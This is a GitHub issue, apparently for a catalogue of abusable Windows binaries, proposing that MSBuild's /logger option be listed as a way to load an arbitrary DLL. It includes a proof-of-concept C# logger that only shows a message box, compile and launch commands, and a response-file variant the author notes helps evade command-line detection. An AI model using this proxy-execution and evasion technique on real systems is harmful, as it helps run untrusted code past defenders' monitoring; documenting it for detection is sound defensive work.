Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[Recommendation] Extend MSbuild - Include Loggers in context, example uses #165

Closed
ghost opened this issue Oct 21, 2021 · 3 comments
Closed

Comments

@ghost
Copy link

ghost commented Oct 21, 2021

Loading a DLL From Command Line , and pass parameters

msbuild /logger:TargetLogger,C:\Loggers\TargetLogger.dll;MyParameters,Foo,Bar ...

This works like rundll32 or regsvr32.exe or installutil.exe.

Example Logger

In addition, attackers can supply logger statements in a .rsp file to evade command line detection.

https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild-response-files?view=vs-2019

@ghost ghost changed the title [Recommendation] Extend MSbuild - Include Loggers to context, examples [Recommendation] Extend MSbuild - Include Loggers in context, example uses Oct 21, 2021
@ghost
Copy link
Author

ghost commented Oct 21, 2021

Source Code For Prototype Logger:

using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;

// C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /target:library /r:C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Build.Utilities.v4.0.dll,Microsoft.Build.Framework.dll logger.cs

public class TargetLogger : Logger
{
	public override void Initialize(IEventSource eventSource)
	{
		System.Windows.Forms.MessageBox.Show("Boomer");
	}
}

Launch MSbuild Load logger.dll

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe /logger:TargetLogger,logger.dll;MyParameters

Note Logger Path can be relative or in a .rsp file.

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe /logger:TargetLogger,C:\Loggers\TargetLogger.dll;MyParameters

Sample .rsp

/logger:TargetLogger,logger.dll;MyParameters

Call with

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe @sample.rsp

Feedback Welcome.

@ghost
Copy link
Author

ghost commented Oct 21, 2021

Advantage of a .rsp file is it abstracts from cmd line detections.

Screen Shot 2021-10-21 at 8 06 17 AM

@api0cradle
Copy link
Contributor

Added 5db35bb
Thank you so much for this contribution

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant